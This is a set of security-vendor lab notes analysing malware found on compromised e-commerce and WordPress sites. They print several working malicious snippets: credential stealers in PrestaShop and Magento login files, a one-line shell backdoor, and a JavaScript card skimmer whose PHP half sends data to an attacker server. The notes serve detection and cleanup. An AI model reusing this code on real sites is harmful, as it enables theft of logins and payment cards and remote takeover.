A few weeks ago, we posted a lab notes describing a good theme file being exploited by attackers to send mass-mailing SPAM (https://labs.sucuri.net/?note=2016/08/15 0:00). Upon further investigation, we identified that attackers have been exploiting this issue for quite awhile and apparently under the radar.

The lack of security checks in that particular file allows the attackers to send as many emails as they would like to, depending on server’s configurations/limitations. To make matters worse, the code had been implemented throughout different themes developed by the same company.

The issue is located within the file ‘functions/theme-mail.php’ and can be found in older versions of the following premium themes:

bretheon, doover, fingerprints, kora, lawcenter_two,mfl, pindol, tisson, almet, caffeine, nollie, limuso

The consequences of using those old versions vary - from having your website suspended by the hosting company, or getting the mail server blacklisted.

We didn’t have access to all versions of those themes to determine when a patch had been applied, but if you identify the same snippet as we have in the labs sucuri notes, we highly recommend adding the following code after your opening php tags to prevent direct access to the file and further exploitation:

if ( basename($_SERVER['PHP_SELF']) == basename(__FILE__) ){die('Access Denied');}

If you’re a customer on the Sucuri Firewall you are already patched via our virtual patching engine.

Lately, we’ve noticed an increase of login credentials stealing attempts and techniques targeting e-commerce based websites. These websites usually have sensitive information (credit card & back-end credentials) that would allow attackers to take advantage of the information & infected website.

This post will uncover a different technique being used against PrestaShop solutions. The technique varies from the one we described in this blog post here.

In this case, attackers also used the ‘./controllers/admin/AdminLoginController.php’ file but they injected a different malicious code:

eval(gzinflate(base64_decode("VZBvS8MwEMbfD/YdjlJICz<CONTENT EDITED>UfYHOdgoOBMMc2fGNdObtLF82f9d5p/AQ==")));

Here is the decoded version of the malicious code:

<?phpif(function_exists("mail")){    $listo = array( 'eNyong' => 'a<removed>@<removed>mail.com', 'Dowoh' => 'm<removed>l@<removed>mail.com');    foreach($listo as $ming => $imel){        mail($imel,'Setoran Admin '.$_SERVER['HTTPHOST'].' ^^',"Kye Pak $ming,nnNama: ".$employee->firstname." ".$employee->lastname."nEmail: $emailnPassword: $passwd");    }}else{$f=fopen('uspas.txt','a');fwrite($f,"imel:$email | pass: $passwdn");fclose($f);}?>

The attackers used an interesting conditional statement that would give them the information they were after regardless of server limitations. In other words, they were checking if the server had mailing capabilities to send all the sensitive data to a specific address but if it didn’t, it would simply write into the system a file called ‘uspas.txt’ with the username and password.

From there attackers could just choose between checking the e-mail or accessing the .txt file into the victim’s website.

In case of a compromise, we should consider that all user accounts and their personal information were stolen, therefore it’s recommended changing all passwords from the back-end, cPanel, SFTP and other connection mechanisms that could give attackers any leverage.

Business’s reputation can be damaged if any sensitive information or unauthorized use of customer’s credits card information fall into the wrong hands, therefore keeping good security practices, such as having a File Integrity Monitoring, Web Application Firewall and other methods will help reducing the risks of infection.

While investigating a compromised Magento-based ecommerce website, we found a malicious code that’s being used to steal and maintain unauthorized access to user accounts.

This malicious code was found inside the ./app/code/core/Mage/Admin/Model/Session.php core file and it’s posting the stolen credentials to a malicious URL every time a user tries to log into their own account:

$post = $_SERVER['HTTP_HOST']."=".base64_encode(json_encode(array($username,$password,$
user->getEmail(),Mage::helper('core/url')->getCurrentUrl())));$ch = curl_init();curl_setopt($ch,CURLOPT_URL, base64_decode(REMOVED MALICIOUS CODE));curl_setopt($ch,CURLOPT_POST, 1);curl_setopt($ch,CURLOPT_POSTFIELDS, $post);curl_setopt($ch, CURLOPT_TIMEOUT, 20);$output = curl_exec($ch);curl_close($ch);

The above malicious code is sending and posting the stolen username & password to the encoded URL in that part of the code: base64_decode(REMOVED MALICIOUS CODE));

This is a base64_decode code and in that case it was sending and posting the information to this malicious URL:

http://infected-site.com/404.php

Customer personal information (including their full name, email address, physical address which may also have any stored credit cards and payment information) are considered to be compromised and leaked.

The hacker may also redirect the payments to their own PayPal account or to any other payment gateways to steal money too, as long as they have full control over the administration panel of the Magento website.

Such attacks may have a severe and negative impact on your business reputation and customer's trust.

It’s always a good practice to keep your website updated and properly maintained as well as using applications, themes, and extensions/plugins from trusted sources only.

It’s time now to secure your website from hackers!

It’s quite common for attackers to compromise your website and make use of it for their phishing campaigns. The most typical method they use is to simply place redirects throughout your site or simply upload entire phishing folders so that your website becomes an actual phishing platform.

When the hosting finds any bad content there they usually take the swiftest action and just suspend your service until the matter is resolved. But what if the compromise started at a different level? Let’s say, the server’s error documents?

Recently, we came across a very similar situation. The curious point is that the attackers predicted the domains would eventually be suspended so they promptly changed the template for suspended websites directly through the WHM panel.

Even though the website was suspended and its content inaccessible, infecting the suspended template enabled the redirect to the phishing domain.

These phishing campaigns impact directly on a website’s reputation and can easily lead to blacklists and great drops in your SEO rankings.

Website suspension may not always be enough to fix issues resulted from a compromise, especially when the compromise happens directly on your hosting provider and the attacker has access to your cPanel / WHM.

Once a compromise is detected, we always recommend changing all passwords (database, back-end interfaces, cPanel, FTP/SFTP), keeping regular backups to restore the website to a clean state, and reduce the impacts on your business by adding a File Integrity Monitoring System and a Website Firewall to prevent attacks.

During an incident response process, we found a very interesting malicious code abusing some PHP tricks. Attackers placed the malware at the end of a WordPress core file ‘./wp-includes/pomo/entry.php’:

$data=file_get_contents("php://input");echo`$data`;

Although a very small code, the snippet above can actually be a powerful backdoor if shell_exec is enabled on the server. Let’s analyze its two steps for remote code execution:

$data=file_get_contents("php://input");

This part is a known way for backdoors to get data from a POST request. The PHP documentation explains what that php://input stands for:

php://input is a read-only stream that allows you to read raw data from the request body. 
In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA 
as it does not depend on special php.ini directives. 
Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a 
potentially less memory intensive alternative to activating always_populate_raw_post_data. 
php://input is not available with enctype="multipart/form-data".

Once we assign a value to the $data variable, we can now take a closer look on the second step:

echo`$data`;

The main detail here is the use of backticks (they’re not single quotes!), which have a special purpose on such php code. See what PHP documentation says about them:

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! 
PHP will attempt to execute the contents of the backticks as a shell command; 
the output will be returned (i.e., it won't simply be dumped to output; 
it can be assigned to a variable). 
Use of the backtick operator is identical to shell_exec().

So in that last part of the code, we’ll have the command stored in $data executed like shell_exec($data) before it’s echo’ed. Using this method, attackers can execute arbitrary remote commands into the system and reinfect it while the code is still active.

As the malware was inserted into a WordPress core file, this could have been easily detected by the file integrity monitoring system in our Sucuri Scanner WordPress Plugin and addressed very quickly. We also recommend keeping regular backups just in case you need to revert your website to an earlier clean stage.

If you need professional assistance on cleaning up malware and backdoors, please let us know, we would be happy to help you.

Lately we’ve seen more backdoors that have some specific characteristics, like using several spaces between the code and processing information coming from POST requests. Attackers use the “spacing” technique to avoid visual detection in text editors when the “word wrapping” function is deactivated.

The backdoors we are discussing today have been found mainly in WordPress platforms. Although they may have different names and can be placed in different directories, most of them can be found residing on the website’s root having a name like framework.lovely.php, framework.railroad.php, framework.ping.php and so on.

The following images are the two main variations of this malware:

Although they look different, their functionality is very similar. On the first sample, they import the PHP variables ($d, $f, $s and $m) into the current symbol table from $_POST through the extract PHP function, while the second sample gets the information directly from the HTTP POST variables.

Checking the second sample closer, the file was placed inside the wp-content/mu-plugins directory. That is the WordPress’s Must Use Plugins, so the backdoor was being loaded along with mu-plugins directory (no direct access to the file was needed). However, if no variable was sent via HTTP POST method, the website would return a “white screen of death” due to the exit; call in line 18.

Giving an even closer look at it, you can guess with a high chance of being correct, which functions are set as values for those r, d and f variables: “eval”, “implode”, and “array”, respectively. The c value can be the elements of an array that will be joined to create the command to be executed.

If you want to be sure that you don’t have any of those backdoors on your website or if you need help cleaning it up, let us know.

With so many open-source ecommerce platforms available in the market, creating an online shop is as easy as ABC. In less than five minutes you can set up your very own online storefront and offer physical and digital products for sale.

In this note I will present a malware infection on OpenCart, a powerful e-commerce shopping cart that provides great tools with minimal investment. Although its platform is simple to install and use, it doesn’t mean that you are protected against different kinds of malicious codes focused on intercepting and stealing sensitive data from your customers (credit card).

This time around, the malware we found worked as a session stealer in a way that attackers could get access to valid sessions of the checkout page and intercept sensitive credit card information. It is worth mentioning that this code is not specifically designed for OpenCart; there are different variations of this malicious script also being used in Magento websites as well.

Going deeper into the analysis itself, the first call to the malicious function had been done at ‘catalog/view/javascript/jquery/jquery-2.1.1.min.js’:

function send() {
    var btn=document.querySelectorAll("button, input, submit, .btn, .button");
    for (var i=0;i<btn.length;i++) {
        var b=btn[i];
        if(b.type!='txt' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
            if(b.addEventListener) {
                b.addEventListener("click", clk, false);
            } else {
                b.attachEvent('onclick', clk);
            }
        }
    }
    var frm=document.querySelectorAll("form");
    for (var i=0;i<frm.length;i++){
        if(frm[i].addEventListener) {
            frm[i].addEventListener("submit", clk, false);
        }else {
            frm[i].attachEvent('onsubmit', clk);
        }
    }
    if(snd!=null) {
        console.clear();
        var gc = new RegExp("[0-9]{13,16}");
        var cl="0";
        if(gc.test(snd)) {
            cl="1" ;
        
var http = new XMLHttpRequest();
        http.open("POST","/system/startup.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("data="+snd+"&cl="+cl);
        console.clear();
    }

The file “jquery-2.1.1.min.js” had been completely modified and if you notice at the functions ‘send()’ and ‘clk()’, they were injected there to intercept button clicks and form submits (user interaction). This hijack allows the attackers to collect the names and content of every common form input element and send all the information via a $_POST request through the “startup.php” file.

Although "startup.php" is a default OpenCart file, this file had also been compromised and here is a snippet of it:

<?php
error_reporting(0);
$id=base64_encode('runrhody');
$url='hxxp://200.x.x.x/404/receiver.php';
if(!isset($_COOKIE["SESSIID"])){
    $rand=rand(1,9999999999);
    setcookie("SESSIID", $rand,time()+3600);
}else $cookie=$_COOKIE["SESSIID"];
    $url=$url.'?a='.$cookie;
    $data=base64_encode(serialize(array('request'=>$_REQUEST,'ip'=>$_SERVER['REMOTE_ADDR'],'ua'=>$_SERVER['HTTP_USER_AGENT'],'cookie'=>$cookie,'date_unix'=>time())));
    $opts = array('http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query(array('utms'=>$id,'utmc'=>$_REQUEST['cl'],'data'=>$data))));
    $context  = stream_context_create($opts);
    file_get_contents($url, false, $context);
?>
<?php
// Error Reporting
error_reporting(E_ALL);

The code receives the stolen information from the jquery mentioned above and sends all the data to the attacker’s URL defined in the variable $url.

Is there a solution to avoid these thefts? Sure there is! Merchants need to understand that they are responsible for the processed data and should do everything they can to secure their environment. The answer to this is hidden behind PCI Compliance. 10, our Founder / CTO, released a nice intro to ecommerce and PCI Compliance post recently that you should definitely read if your website/business relies on an e-commerce platform.

If you run OpenCart or any other platform, we recommend checking out our Sucuri Firewall to protect your site from attacks and compromises.